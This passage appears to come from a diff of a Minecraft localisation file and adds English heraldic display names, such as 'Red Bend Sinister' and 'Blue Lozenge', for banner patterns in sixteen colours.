"block.minecraft.banner.square_top_right.green": "Green Chief Sinister Canton", + "block.minecraft.banner.square_top_right.brown": "Brown Chief Sinister Canton", + "block.minecraft.banner.square_top_right.blue": "Blue Chief Sinister Canton", + "block.minecraft.banner.square_top_right.purple": "Purple Chief Sinister Canton", + "block.minecraft.banner.square_top_right.cyan": "Cyan Chief Sinister Canton", + "block.minecraft.banner.square_top_right.light_gray": "Light Gray Chief Sinister Canton", + "block.minecraft.banner.square_top_right.gray": "Gray Chief Sinister Canton", + "block.minecraft.banner.square_top_right.pink": "Pink Chief Sinister Canton", + "block.minecraft.banner.square_top_right.lime": "Lime Chief Sinister Canton", + "block.minecraft.banner.square_top_right.yellow": "Yellow Chief Sinister Canton", + "block.minecraft.banner.square_top_right.light_blue": "Light Blue Chief Sinister Canton", + "block.minecraft.banner.square_top_right.magenta": "Magenta Chief Sinister Canton", + "block.minecraft.banner.square_top_right.orange": "Orange Chief Sinister Canton", + "block.minecraft.banner.square_top_right.white": "White Chief Sinister Canton", + "block.minecraft.banner.stripe_bottom.black": "Black Base", + "block.minecraft.banner.stripe_bottom.red": "Red Base", + "block.minecraft.banner.stripe_bottom.green": "Green Base", + "block.minecraft.banner.stripe_bottom.brown": "Brown Base", + "block.minecraft.banner.stripe_bottom.blue": "Blue Base", + "block.minecraft.banner.stripe_bottom.purple": "Purple Base", + "block.minecraft.banner.stripe_bottom.cyan": "Cyan Base", + "block.minecraft.banner.stripe_bottom.light_gray": "Light Gray Base", + "block.minecraft.banner.stripe_bottom.gray": "Gray Base", + "block.minecraft.banner.stripe_bottom.pink": "Pink Base", + "block.minecraft.banner.stripe_bottom.lime": "Lime Base", + "block.minecraft.banner.stripe_bottom.yellow": "Yellow Base", + "block.minecraft.banner.stripe_bottom.light_blue": "Light Blue Base", + "block.minecraft.banner.stripe_bottom.magenta": "Magenta Base", + "block.minecraft.banner.stripe_bottom.orange": "Orange Base", + "block.minecraft.banner.stripe_bottom.white": "White Base", + "block.minecraft.banner.stripe_top.black": "Black Chief", + "block.minecraft.banner.stripe_top.red": "Red Chief", + "block.minecraft.banner.stripe_top.green": "Green Chief", + "block.minecraft.banner.stripe_top.brown": "Brown Chief", + "block.minecraft.banner.stripe_top.blue": "Blue Chief", + "block.minecraft.banner.stripe_top.purple": "Purple Chief", + "block.minecraft.banner.stripe_top.cyan": "Cyan Chief", + "block.minecraft.banner.stripe_top.light_gray": "Light Gray Chief", + "block.minecraft.banner.stripe_top.gray": "Gray Chief", + "block.minecraft.banner.stripe_top.pink": "Pink Chief", + "block.minecraft.banner.stripe_top.lime": "Lime Chief", + "block.minecraft.banner.stripe_top.yellow": "Yellow Chief", + "block.minecraft.banner.stripe_top.light_blue": "Light Blue Chief", + "block.minecraft.banner.stripe_top.magenta": "Magenta Chief", + "block.minecraft.banner.stripe_top.orange": "Orange Chief", + "block.minecraft.banner.stripe_top.white": "White Chief", + "block.minecraft.banner.stripe_left.black": "Black Pale Dexter", + "block.minecraft.banner.stripe_left.red": "Red Pale Dexter", + "block.minecraft.banner.stripe_left.green": "Green Pale Dexter", + "block.minecraft.banner.stripe_left.brown": "Brown Pale Dexter", + "block.minecraft.banner.stripe_left.blue": "Blue Pale Dexter", + "block.minecraft.banner.stripe_left.purple": "Purple Pale Dexter", + "block.minecraft.banner.stripe_left.cyan": "Cyan Pale Dexter", + "block.minecraft.banner.stripe_left.light_gray": "Light Gray Pale Dexter", + "block.minecraft.banner.stripe_left.gray": "Gray Pale Dexter", + "block.minecraft.banner.stripe_left.pink": "Pink Pale Dexter", + "block.minecraft.banner.stripe_left.lime": "Lime Pale Dexter", + "block.minecraft.banner.stripe_left.yellow": "Yellow Pale Dexter", + "block.minecraft.banner.stripe_left.light_blue": "Light Blue Pale Dexter", + "block.minecraft.banner.stripe_left.magenta": "Magenta Pale Dexter", + "block.minecraft.banner.stripe_left.orange": "Orange Pale Dexter", + "block.minecraft.banner.stripe_left.white": "White Pale Dexter", + "block.minecraft.banner.stripe_right.black": "Black Pale Sinister", + "block.minecraft.banner.stripe_right.red": "Red Pale Sinister", + "block.minecraft.banner.stripe_right.green": "Green Pale Sinister", + "block.minecraft.banner.stripe_right.brown": "Brown Pale Sinister", + "block.minecraft.banner.stripe_right.blue": "Blue Pale Sinister", + "block.minecraft.banner.stripe_right.purple": "Purple Pale Sinister", + "block.minecraft.banner.stripe_right.cyan": "Cyan Pale Sinister", + "block.minecraft.banner.stripe_right.light_gray": "Light Gray Pale Sinister", + "block.minecraft.banner.stripe_right.gray": "Gray Pale Sinister", + "block.minecraft.banner.stripe_right.pink": "Pink Pale Sinister", + "block.minecraft.banner.stripe_right.lime": "Lime Pale Sinister", + "block.minecraft.banner.stripe_right.yellow": "Yellow Pale Sinister", + "block.minecraft.banner.stripe_right.light_blue": "Light Blue Pale Sinister", + "block.minecraft.banner.stripe_right.magenta": "Magenta Pale Sinister", + "block.minecraft.banner.stripe_right.orange": "Orange Pale Sinister", + "block.minecraft.banner.stripe_right.white": "White Pale Sinister", + "block.minecraft.banner.stripe_center.black": "Black Pale", + "block.minecraft.banner.stripe_center.red": "Red Pale", + "block.minecraft.banner.stripe_center.green": "Green Pale", + "block.minecraft.banner.stripe_center.brown": "Brown Pale", + "block.minecraft.banner.stripe_center.blue": "Blue Pale", + "block.minecraft.banner.stripe_center.purple": "Purple Pale", + "block.minecraft.banner.stripe_center.cyan": "Cyan Pale", + "block.minecraft.banner.stripe_center.light_gray": "Light Gray Pale", + "block.minecraft.banner.stripe_center.gray": "Gray Pale", + "block.minecraft.banner.stripe_center.pink": "Pink Pale", + "block.minecraft.banner.stripe_center.lime": "Lime Pale", + "block.minecraft.banner.stripe_center.yellow": "Yellow Pale", + "block.minecraft.banner.stripe_center.light_blue": "Light Blue Pale", + "block.minecraft.banner.stripe_center.magenta": "Magenta Pale", + "block.minecraft.banner.stripe_center.orange": "Orange Pale", + "block.minecraft.banner.stripe_center.white": "White Pale", + "block.minecraft.banner.stripe_middle.black": "Black Fess", + "block.minecraft.banner.stripe_middle.red": "Red Fess", + "block.minecraft.banner.stripe_middle.green": "Green Fess", + "block.minecraft.banner.stripe_middle.brown": "Brown Fess", + "block.minecraft.banner.stripe_middle.blue": "Blue Fess", + "block.minecraft.banner.stripe_middle.purple": "Purple Fess", + "block.minecraft.banner.stripe_middle.cyan": "Cyan Fess", + "block.minecraft.banner.stripe_middle.light_gray": "Light Gray Fess", + "block.minecraft.banner.stripe_middle.gray": "Gray Fess", + "block.minecraft.banner.stripe_middle.pink": "Pink Fess", + "block.minecraft.banner.stripe_middle.lime": "Lime Fess", + "block.minecraft.banner.stripe_middle.yellow": "Yellow Fess", + "block.minecraft.banner.stripe_middle.light_blue": "Light Blue Fess", + "block.minecraft.banner.stripe_middle.magenta": "Magenta Fess", + "block.minecraft.banner.stripe_middle.orange": "Orange Fess", + "block.minecraft.banner.stripe_middle.white": "White Fess", + "block.minecraft.banner.stripe_downright.black": "Black Bend", + "block.minecraft.banner.stripe_downright.red": "Red Bend", + "block.minecraft.banner.stripe_downright.green": "Green Bend", + "block.minecraft.banner.stripe_downright.brown": "Brown Bend", + "block.minecraft.banner.stripe_downright.blue": "Blue Bend", + "block.minecraft.banner.stripe_downright.purple": "Purple Bend", + "block.minecraft.banner.stripe_downright.cyan": "Cyan Bend", + "block.minecraft.banner.stripe_downright.light_gray": "Light Gray Bend", + "block.minecraft.banner.stripe_downright.gray": "Gray Bend", + "block.minecraft.banner.stripe_downright.pink": "Pink Bend", + "block.minecraft.banner.stripe_downright.lime": "Lime Bend", + "block.minecraft.banner.stripe_downright.yellow": "Yellow Bend", + "block.minecraft.banner.stripe_downright.light_blue": "Light Blue Bend", + "block.minecraft.banner.stripe_downright.magenta": "Magenta Bend", + "block.minecraft.banner.stripe_downright.orange": "Orange Bend", + "block.minecraft.banner.stripe_downright.white": "White Bend", + "block.minecraft.banner.stripe_downleft.black": "Black Bend Sinister", + "block.minecraft.banner.stripe_downleft.red": "Red Bend Sinister", + "block.minecraft.banner.stripe_downleft.green": "Green Bend Sinister", + "block.minecraft.banner.stripe_downleft.brown": "Brown Bend Sinister", + "block.minecraft.banner.stripe_downleft.blue": "Blue Bend Sinister", + "block.minecraft.banner.stripe_downleft.purple": "Purple Bend Sinister", + "block.minecraft.banner.stripe_downleft.cyan": "Cyan Bend Sinister", + "block.minecraft.banner.stripe_downleft.light_gray": "Light Gray Bend Sinister", + "block.minecraft.banner.stripe_downleft.gray": "Gray Bend Sinister", + "block.minecraft.banner.stripe_downleft.pink": "Pink Bend Sinister", + "block.minecraft.banner.stripe_downleft.lime": "Lime Bend Sinister", + "block.minecraft.banner.stripe_downleft.yellow": "Yellow Bend Sinister", + "block.minecraft.banner.stripe_downleft.light_blue": "Light Blue Bend Sinister", + "block.minecraft.banner.stripe_downleft.magenta": "Magenta Bend Sinister", + "block.minecraft.banner.stripe_downleft.orange": "Orange Bend Sinister", + "block.minecraft.banner.stripe_downleft.white": "White Bend Sinister", + "block.minecraft.banner.small_stripes.black": "Black Paly", + "block.minecraft.banner.small_stripes.red": "Red Paly", + "block.minecraft.banner.small_stripes.green": "Green Paly", + "block.minecraft.banner.small_stripes.brown": "Brown Paly", + "block.minecraft.banner.small_stripes.blue": "Blue Paly", + "block.minecraft.banner.small_stripes.purple": "Purple Paly", + "block.minecraft.banner.small_stripes.cyan": "Cyan Paly", + "block.minecraft.banner.small_stripes.light_gray": "Light Gray Paly", + "block.minecraft.banner.small_stripes.gray": "Gray Paly", + "block.minecraft.banner.small_stripes.pink": "Pink Paly", + "block.minecraft.banner.small_stripes.lime": "Lime Paly", + "block.minecraft.banner.small_stripes.yellow": "Yellow Paly", + "block.minecraft.banner.small_stripes.light_blue": "Light Blue Paly", + "block.minecraft.banner.small_stripes.magenta": "Magenta Paly", + "block.minecraft.banner.small_stripes.orange": "Orange Paly", + "block.minecraft.banner.small_stripes.white": "White Paly", + "block.minecraft.banner.cross.black": "Black Saltire", + "block.minecraft.banner.cross.red": "Red Saltire", + "block.minecraft.banner.cross.green": "Green Saltire", + "block.minecraft.banner.cross.brown": "Brown Saltire", + "block.minecraft.banner.cross.blue": "Blue Saltire", + "block.minecraft.banner.cross.purple": "Purple Saltire", + "block.minecraft.banner.cross.cyan": "Cyan Saltire", + "block.minecraft.banner.cross.light_gray": "Light Gray Saltire", + "block.minecraft.banner.cross.gray": "Gray Saltire", + "block.minecraft.banner.cross.pink": "Pink Saltire", + "block.minecraft.banner.cross.lime": "Lime Saltire", + "block.minecraft.banner.cross.yellow": "Yellow Saltire", + "block.minecraft.banner.cross.light_blue": "Light Blue Saltire", + "block.minecraft.banner.cross.magenta": "Magenta Saltire", + "block.minecraft.banner.cross.orange": "Orange Saltire", + "block.minecraft.banner.cross.white": "White Saltire", + "block.minecraft.banner.triangle_bottom.black": "Black Chevron", + "block.minecraft.banner.triangle_bottom.red": "Red Chevron", + "block.minecraft.banner.triangle_bottom.green": "Green Chevron", + "block.minecraft.banner.triangle_bottom.brown": "Brown Chevron", + "block.minecraft.banner.triangle_bottom.blue": "Blue Chevron", + "block.minecraft.banner.triangle_bottom.purple": "Purple Chevron", + "block.minecraft.banner.triangle_bottom.cyan": "Cyan Chevron", + "block.minecraft.banner.triangle_bottom.light_gray": "Light Gray Chevron", + "block.minecraft.banner.triangle_bottom.gray": "Gray Chevron", + "block.minecraft.banner.triangle_bottom.pink": "Pink Chevron", + "block.minecraft.banner.triangle_bottom.lime": "Lime Chevron", + "block.minecraft.banner.triangle_bottom.yellow": "Yellow Chevron", + "block.minecraft.banner.triangle_bottom.light_blue": "Light Blue Chevron", + "block.minecraft.banner.triangle_bottom.magenta": "Magenta Chevron", + "block.minecraft.banner.triangle_bottom.orange": "Orange Chevron", + "block.minecraft.banner.triangle_bottom.white": "White Chevron", + "block.minecraft.banner.triangle_top.black": "Black Inverted Chevron", + "block.minecraft.banner.triangle_top.red": "Red Inverted Chevron", + "block.minecraft.banner.triangle_top.green": "Green Inverted Chevron", + "block.minecraft.banner.triangle_top.brown": "Brown Inverted Chevron", + "block.minecraft.banner.triangle_top.blue": "Blue Inverted Chevron", + "block.minecraft.banner.triangle_top.purple": "Purple Inverted Chevron", + "block.minecraft.banner.triangle_top.cyan": "Cyan Inverted Chevron", + "block.minecraft.banner.triangle_top.light_gray": "Light Gray Inverted Chevron", + "block.minecraft.banner.triangle_top.gray": "Gray Inverted Chevron", + "block.minecraft.banner.triangle_top.pink": "Pink Inverted Chevron", + "block.minecraft.banner.triangle_top.lime": "Lime Inverted Chevron", + "block.minecraft.banner.triangle_top.yellow": "Yellow Inverted Chevron", + "block.minecraft.banner.triangle_top.light_blue": "Light Blue Inverted Chevron", + "block.minecraft.banner.triangle_top.magenta": "Magenta Inverted Chevron", + "block.minecraft.banner.triangle_top.orange": "Orange Inverted Chevron", + "block.minecraft.banner.triangle_top.white": "White Inverted Chevron", + "block.minecraft.banner.triangles_bottom.black": "Black Base Indented", + "block.minecraft.banner.triangles_bottom.red": "Red Base Indented", + "block.minecraft.banner.triangles_bottom.green": "Green Base Indented", + "block.minecraft.banner.triangles_bottom.brown": "Brown Base Indented", + "block.minecraft.banner.triangles_bottom.blue": "Blue Base Indented", + "block.minecraft.banner.triangles_bottom.purple": "Purple Base Indented", + "block.minecraft.banner.triangles_bottom.cyan": "Cyan Base Indented", + "block.minecraft.banner.triangles_bottom.light_gray": "Light Gray Base Indented", + "block.minecraft.banner.triangles_bottom.gray": "Gray Base Indented", + "block.minecraft.banner.triangles_bottom.pink": "Pink Base Indented", + "block.minecraft.banner.triangles_bottom.lime": "Lime Base Indented", + "block.minecraft.banner.triangles_bottom.yellow": "Yellow Base Indented", + "block.minecraft.banner.triangles_bottom.light_blue": "Light Blue Base Indented", + "block.minecraft.banner.triangles_bottom.magenta": "Magenta Base Indented", + "block.minecraft.banner.triangles_bottom.orange": "Orange Base Indented", + "block.minecraft.banner.triangles_bottom.white": "White Base Indented", + "block.minecraft.banner.triangles_top.black": "Black Chief Indented", + "block.minecraft.banner.triangles_top.red": "Red Chief Indented", + "block.minecraft.banner.triangles_top.green": "Green Chief Indented", + "block.minecraft.banner.triangles_top.brown": "Brown Chief Indented", + "block.minecraft.banner.triangles_top.blue": "Blue Chief Indented", + "block.minecraft.banner.triangles_top.purple": "Purple Chief Indented", + "block.minecraft.banner.triangles_top.cyan": "Cyan Chief Indented", + "block.minecraft.banner.triangles_top.light_gray": "Light Gray Chief Indented", + "block.minecraft.banner.triangles_top.gray": "Gray Chief Indented", + "block.minecraft.banner.triangles_top.pink": "Pink Chief Indented", + "block.minecraft.banner.triangles_top.lime": "Lime Chief Indented", + "block.minecraft.banner.triangles_top.yellow": "Yellow Chief Indented", + "block.minecraft.banner.triangles_top.light_blue": "Light Blue Chief Indented", + "block.minecraft.banner.triangles_top.magenta": "Magenta Chief Indented", + "block.minecraft.banner.triangles_top.orange": "Orange Chief Indented", + "block.minecraft.banner.triangles_top.white": "White Chief Indented", + "block.minecraft.banner.diagonal_left.black": "Black Per Bend Sinister", + "block.minecraft.banner.diagonal_left.red": "Red Per Bend Sinister", + "block.minecraft.banner.diagonal_left.green": "Green Per Bend Sinister", + "block.minecraft.banner.diagonal_left.brown": "Brown Per Bend Sinister", + "block.minecraft.banner.diagonal_left.blue": "Blue Per Bend Sinister", + "block.minecraft.banner.diagonal_left.purple": "Purple Per Bend Sinister", + "block.minecraft.banner.diagonal_left.cyan": "Cyan Per Bend Sinister", + "block.minecraft.banner.diagonal_left.light_gray": "Light Gray Per Bend Sinister", + "block.minecraft.banner.diagonal_left.gray": "Gray Per Bend Sinister", + "block.minecraft.banner.diagonal_left.pink": "Pink Per Bend Sinister", + "block.minecraft.banner.diagonal_left.lime": "Lime Per Bend Sinister", + "block.minecraft.banner.diagonal_left.yellow": "Yellow Per Bend Sinister", + "block.minecraft.banner.diagonal_left.light_blue": "Light Blue Per Bend Sinister", + "block.minecraft.banner.diagonal_left.magenta": "Magenta Per Bend Sinister", + "block.minecraft.banner.diagonal_left.orange": "Orange Per Bend Sinister", + "block.minecraft.banner.diagonal_left.white": "White Per Bend Sinister", + "block.minecraft.banner.diagonal_right.black": "Black Per Bend", + "block.minecraft.banner.diagonal_right.red": "Red Per Bend", + "block.minecraft.banner.diagonal_right.green": "Green Per Bend", + "block.minecraft.banner.diagonal_right.brown": "Brown Per Bend", + "block.minecraft.banner.diagonal_right.blue": "Blue Per Bend", + "block.minecraft.banner.diagonal_right.purple": "Purple Per Bend", + "block.minecraft.banner.diagonal_right.cyan": "Cyan Per Bend", + "block.minecraft.banner.diagonal_right.light_gray": "Light Gray Per Bend", + "block.minecraft.banner.diagonal_right.gray": "Gray Per Bend", + "block.minecraft.banner.diagonal_right.pink": "Pink Per Bend", + "block.minecraft.banner.diagonal_right.lime": "Lime Per Bend", + "block.minecraft.banner.diagonal_right.yellow": "Yellow Per Bend", + "block.minecraft.banner.diagonal_right.light_blue": "Light Blue Per Bend", + "block.minecraft.banner.diagonal_right.magenta": "Magenta Per Bend", + "block.minecraft.banner.diagonal_right.orange": "Orange Per Bend", + "block.minecraft.banner.diagonal_right.white": "White Per Bend", + "block.minecraft.banner.diagonal_up_left.black": "Black Per Bend Inverted", + "block.minecraft.banner.diagonal_up_left.red": "Red Per Bend Inverted", + "block.minecraft.banner.diagonal_up_left.green": "Green Per Bend Inverted", + "block.minecraft.banner.diagonal_up_left.brown": "Brown Per Bend Inverted", + "block.minecraft.banner.diagonal_up_left.blue": "Blue Per Bend Inverted", + "block.minecraft.banner.diagonal_up_left.purple": "Purple Per Bend Inverted", + "block.minecraft.banner.diagonal_up_left.cyan": "Cyan Per Bend Inverted", + "block.minecraft.banner.diagonal_up_left.light_gray": "Light Gray Per Bend Inverted", + "block.minecraft.banner.diagonal_up_left.gray": "Gray Per Bend Inverted", + "block.minecraft.banner.diagonal_up_left.pink": "Pink Per Bend Inverted", + "block.minecraft.banner.diagonal_up_left.lime": "Lime Per Bend Inverted", + "block.minecraft.banner.diagonal_up_left.yellow": "Yellow Per Bend Inverted", + "block.minecraft.banner.diagonal_up_left.light_blue": "Light Blue Per Bend Inverted", + "block.minecraft.banner.diagonal_up_left.magenta": "Magenta Per Bend Inverted", + "block.minecraft.banner.diagonal_up_left.orange": "Orange Per Bend Inverted", + "block.minecraft.banner.diagonal_up_left.white": "White Per Bend Inverted", + "block.minecraft.banner.diagonal_up_right.black": "Black Per Bend Sinister Inverted", + "block.minecraft.banner.diagonal_up_right.red": "Red Per Bend Sinister Inverted", + "block.minecraft.banner.diagonal_up_right.green": "Green Per Bend Sinister Inverted", + "block.minecraft.banner.diagonal_up_right.brown": "Brown Per Bend Sinister Inverted", + "block.minecraft.banner.diagonal_up_right.blue": "Blue Per Bend Sinister Inverted", + "block.minecraft.banner.diagonal_up_right.purple": "Purple Per Bend Sinister Inverted", + "block.minecraft.banner.diagonal_up_right.cyan": "Cyan Per Bend Sinister Inverted", + "block.minecraft.banner.diagonal_up_right.light_gray": "Light Gray Per Bend Sinister Inverted", + "block.minecraft.banner.diagonal_up_right.gray": "Gray Per Bend Sinister Inverted", + "block.minecraft.banner.diagonal_up_right.pink": "Pink Per Bend Sinister Inverted", + "block.minecraft.banner.diagonal_up_right.lime": "Lime Per Bend Sinister Inverted", + "block.minecraft.banner.diagonal_up_right.yellow": "Yellow Per Bend Sinister Inverted", + "block.minecraft.banner.diagonal_up_right.light_blue": "Light Blue Per Bend Sinister Inverted", + "block.minecraft.banner.diagonal_up_right.magenta": "Magenta Per Bend Sinister Inverted", + "block.minecraft.banner.diagonal_up_right.orange": "Orange Per Bend Sinister Inverted", + "block.minecraft.banner.diagonal_up_right.white": "White Per Bend Sinister Inverted", + "block.minecraft.banner.circle.black": "Black Roundel", + "block.minecraft.banner.circle.red": "Red Roundel", + "block.minecraft.banner.circle.green": "Green Roundel", + "block.minecraft.banner.circle.brown": "Brown Roundel", + "block.minecraft.banner.circle.blue": "Blue Roundel", + "block.minecraft.banner.circle.purple": "Purple Roundel", + "block.minecraft.banner.circle.cyan": "Cyan Roundel", + "block.minecraft.banner.circle.light_gray": "Light Gray Roundel", + "block.minecraft.banner.circle.gray": "Gray Roundel", + "block.minecraft.banner.circle.pink": "Pink Roundel", + "block.minecraft.banner.circle.lime": "Lime Roundel", + "block.minecraft.banner.circle.yellow": "Yellow Roundel", + "block.minecraft.banner.circle.light_blue": "Light Blue Roundel", + "block.minecraft.banner.circle.magenta": "Magenta Roundel", + "block.minecraft.banner.circle.orange": "Orange Roundel", + "block.minecraft.banner.circle.white": "White Roundel", + "block.minecraft.banner.rhombus.black": "Black Lozenge", + "block.minecraft.banner.rhombus.red": "Red Lozenge", + "block.minecraft.banner.rhombus.green": "Green Lozenge", + "block.minecraft.banner.rhombus.brown": "Brown Lozenge", + "block.minecraft.banner.rhombus.blue": "Blue Lozenge", + "block.minecraft.banner.rhombus.purple": "Purple Lozenge", + "block.minecraft.banner.rhombus.cyan": "Cyan Lozenge", + "block.minecraft.banner.rhombus.light_gray": "Light Gray Lozenge", + "block.minecraft.banner.rhombus.gray": "Gray Lozenge", + "block.minecraft.banner.rhombus.pink": "Pink Lozenge", + "block.minecraft.banner.rhombus.lime": "Lime Lozenge", + "block.minecraft.banner.rhombus.yellow": "Yellow Lozenge", + "block.minecraft.banner.rhombus.light_blue": "Light Blue Lozenge", + "block.minecraft.banner.rhombus.magenta": "Magenta Lozenge", + "block.minecraft.banner.rhombus.orange": "Orange Lozenge", + "block.minecraft.banner.rhombus.white": "White Lozenge", + "block.minecraft.banner.half_vertical.black": "Black Per Pale", + "block.minecraft.banner.half_vertical.red": "Red Per Pale", + "block.minecraft.banner.half_vertical.green": "Green Per Pale", + "block.minecraft.banner.half_vertical.brown": "Brown Per Pale", + "block.minecraft.banner.half_vertical.blue": "Blue Per Pale", + "block.minecraft.banner.half_vertical.purple": "Purple Per Pale", + "block.minecraft.banner.half_vertical.cyan": "Cyan Per Pale", + "block.minecraft.banner.half_vertical.light_gray": "Light Gray Per Pale", + "block.minecraft.banner.half_vertical.gray": "Gray Per Pale", + "block.minecraft.banner.half_vertical.pink": "Pink Per Pale", + "block.minecraft.banner.half_vertical.lime": "Lime Per Pale", + "block.minecraft.banner.half_vertical.yellow": "Yellow Per Pale", + "block.minecraft.banner.half_vertical.light_blue": "Light Blue Per Pale", + "block.minecraft.banner.half_vertical.magenta": "Magenta Per Pale", + "block.minecraft.banner.half_vertical.orange": "Orange Per Pale", + "block.minecraft.banner.half_vertical.white": "White Per Pale", + "block.minecraft.banner.half_horizontal.black": "Black Per Fess", + "block.minecraft.banner.half_horizontal.red": "Red Per Fess", + "block.minecraft.banner.half_horizontal.green": "Green Per Fess", + "block.minecraft.banner.half_horizontal.brown": "Brown Per Fess", + "block.minecraft.banner.half_horizontal.blue": "Blue Per Fess", + "block.minecraft.banner.half_horizontal.purple": "Purple Per Fess", + "block.minecraft.banner.half_horizontal.cyan": "Cyan Per Fess", + "block.minecraft.banner.half_horizontal.light_gray": "Light Gray Per Fess", + "block.minecraft.banner.half_horizontal.gray": "Gray Per Fess", + "block.minecraft.banner.half_horizontal.pink": "Pink Per Fess", + "block.minecraft.banner.half_horizontal.lime": "Lime Per Fess", + "block.minecraft.banner.half_horizontal.yellow": "Yellow Per Fess", + "block.minecraft.banner.half_horizontal.light_blue": "Light Blue Per Fess", + "block.minecraft.banner.half_horizontal.magenta": "Magenta Per Fess", + "block.minecraft.banner.half_horizontal.orange": "Orange Per Fess", + "block.minecraft.banner.half_horizontal.white": "White Per Fess", + "block.minecraft.banner.half_vertical_right.black": "Black Per Pale Inverted", + "block.minecraft.banner.half_vertical_right.red": "Red Per Pale Inverted", + "block.minecraft.banner.half_vertical_right.green": "Green Per Pale Inverted", + "block.minecraft.banner.half_vertical_right.brown": "Brown Per Pale Inverted", + "block.minecraft.banner.half_vertical_right.blue": "Blue Per Pale Inverted", + "block.minecraft.banner.half_vertical_right.purple": "Purple Per Pale Inverted", + "block.minecraft.banner.half_vertical_right.cyan": "Cyan Per Pale Inverted", + "block.minecraft.banner.half_vertical_right.light_gray": "Light Gray Per Pale Inverted", + "block.minecraft.banner.half_vertical_right.gray": "Gray Per Pale Inverted", + "block.minecraft.banner.half_vertical_right.pink": "Pink Per Pale Inverted", + "block.minecraft.banner.half_vertical_right.lime": "Lime Per Pale Inverted", + "block.minecraft.banner.half_vertical_right.yellow": "Yellow Per Pale Inverted", + "block.minecraft.banner.half_vertical_right.light_blue": "Light Blue Per Pale Inverted", + "block.minecraft.banner.half_vertical_right.magenta": "Magenta Per Pale Inverted", + "block.minecraft.banner.half_vertical_right.orange": "Orange Per Pale Inverted", + "block.minecraft.banner.half_vertical_right.white": "White Per Pale Inverted", + "block.minecraft.banner.half_horizontal_bottom.black": "Black Per Fess Inverted", + "block.minecraft.banner.half_horizontal_bottom.red": "Red Per Fess Inverted", + "block.minecraft.banner.half_horizontal_bottom.green": "Green Per Fess Inverted", + "block.minecraft.banner.half_horizontal_bottom.brown": "Brown Per Fess Inverted", + "block.minecraft.banner.half_horizontal_bottom.blue": "Blue Per Fess Inverted", + "block.minecraft.banner.half_horizontal_bottom.purple": "Purple Per Fess Inverted", + "block.minecraft.banner.half_horizontal_bottom.cyan": "Cyan Per Fess Inverted", + "block.minecraft.banner.half_horizontal_bottom.light_gray": "Light Gray Per Fess Inverted", + "block.minecraft.banner.half_horizontal_bottom.gray": "Gray Per Fess Inverted", + "block.minecraft.banner.half_horizontal_bottom.pink": "Pink Per Fess Inverted", + "block.minecraft.banner.half_horizontal_bottom.lime": "Lime Per Fess Inverted", + "block.minecraft.banner.half_horizontal_bottom.yellow": "Yellow Per Fess Inverted", + "block.minecraft.banner.half_horizontal_bottom.light_blue": "Light Blue Per Fess Inverted", + "block.minecraft.banner.half_horizontal_bottom.magenta": "Magenta Per Fess Inverted", + "block.minecraft.banner.half_horizontal_bottom.orange": "Orange Per Fess Inverted", + "block.minecraft.banner.half_horizontal_bottom.white": "White Per Fess Inverted", + "block.minecraft.banner.creeper.black": "Black Creeper Charge", + "block.minecraft.banner.creeper.red": "Red Creeper Charge", + "block.minecraft.banner.creeper.green": "Green Creeper Charge", + "block.minecraft.banner.creeper.brown": "Brown Creeper Charge", + "block.minecraft.banner.creeper.blue": "Blue Creeper Charge", + "block.minecraft.banner.creeper.purple": "Purple Creeper Charge", + "block.minecraft.banner.creeper.cyan": "Cyan Creeper Charge", + "block.minecraft.banner.creeper.light_gray": "Light Gray Creeper Charge", + "block.minecraft.banner.creeper.gray": "Gray Creeper Charge", + "block.minecraft.banner.creeper.pink": "Pink Creeper Charge", + "block.minecraft.banner.creeper.lime": "Lime Creeper Charge", + "block.minecraft.banner.creeper.yellow": "Yellow Creeper Charge", + "block.minecraft.banner.creeper.light_blue": "Light Blue Creeper Charge", + "block.minecraft.banner.creeper.magenta": "Magenta Creeper Charge", + "block.minecraft.banner.creeper.orange": "Orange Creeper Charge", + "block.minecraft.banner.creeper.white": "White Creeper Charge", + "block.minecraft.banner.bricks.black": "Black Field Masoned", + "block.minecraft.banner.bricks.red": "Red Field Masoned", + "block.minecraft.banner.bricks.green": "Green Field Masoned", + "block.minecraft.banner.bricks.brown": "Brown Field Masoned", + "block.minecraft.banner.bricks.blue": "Blue Field Masoned", + "block.minecraft.banner.bricks.purple": "Purple Field Masoned", + "block.minecraft.banner.bricks.cyan": "Cyan Field Masoned", + "block.minecraft.banner.bricks.light_gray": "Light Gray Field Masoned", + "block.minecraft.banner.bricks.gray": "Gray Field Masoned", + "block.minecraft.banner.bricks.pink": "Pink Field Masoned", + "block.minecraft.banner.bricks.lime": "Lime Field Masoned", + "block.minecraft.banner.bricks.yellow": "Yellow Field Masoned", + "block.minecraft.banner.bricks.light_blue": "Light Blue Field Masoned", + "block.minecraft.banner.bricks.magenta": "Magenta Field Masoned", + "block.minecraft.banner.bricks.orange": "Orange Field Masoned", + "block.minecraft.banner.bricks.white": "White Field Masoned", + "block.minecraft.banner.gradient.black": "Black Gradient", + "block.minecraft.banner.gradient.red": "Red Gradient", + "block.minecraft.banner.gradient.green": "Green Gradient", + "block.minecraft.banner.gradient.brown": "Brown Gradient", + "block.minecraft.banner.gradient.blue": "Blue Gradient", + "block.minecraft.banner.gradient.purple": "Purple Gradient", + "block.minecraft.banner.gradient.cyan": "Cyan Gradient", + "block.minecraft.banner.gradient.light_gray": "Light Gray Gradient", + "block.minecraft.banner.gradient.gray": "Gray Gradient", + "block.minecraft.banner.gradient.pink": "Pink Gradient", + "block.minecraft.banner.gradient.lime": "Lime Gradient", + "block.minecraft.banner.gradient.yellow": "Yellow Gradient", + "block.minecraft.banner.gradient.light_blue": "Light Blue Gradient", + "block.minecraft.banner.gradient.magenta": "Magenta Gradient", + "block.minecraft.banner.gradient.orange": "Orange Gradient", + "block.minecraft.banner.gradient.white": "White Gradient", + "block.minecraft.banner.gradient_up.black": "Black Base Gradient", + "block.minecraft.banner.gradient_up.red": "Red Base Gradient", + "block.minecraft.banner.gradient_up.green": "Green Base Gradient", + "block.minecraft.banner.gradient_up.brown": "Brown Base Gradient", + "block.minecraft.banner.gradient_up.blue": "Blue Base Gradient", + "block.minecraft.banner.gradient_up.purple": "Purple Base Gradient", + "block.minecraft.banner.gradient_up.cyan": "Cyan Base Gradient", + "block.minecraft.banner.gradient_up.light_gray": "Light Gray Base Gradient", + "block.minecraft.banner.gradient_up.gray": "Gray Base Gradient", + "block.minecraft.banner.gradient_up.pink": "Pink Base Gradient", + "block.minecraft.banner.gradient_up.lime": "Lime Base Gradient", + "block.minecraft.banner.gradient_up.yellow": "Yellow Base Gradient", + "block.minecraft.banner.gradient_up.light_blue": "Light Blue Base Gradient", + 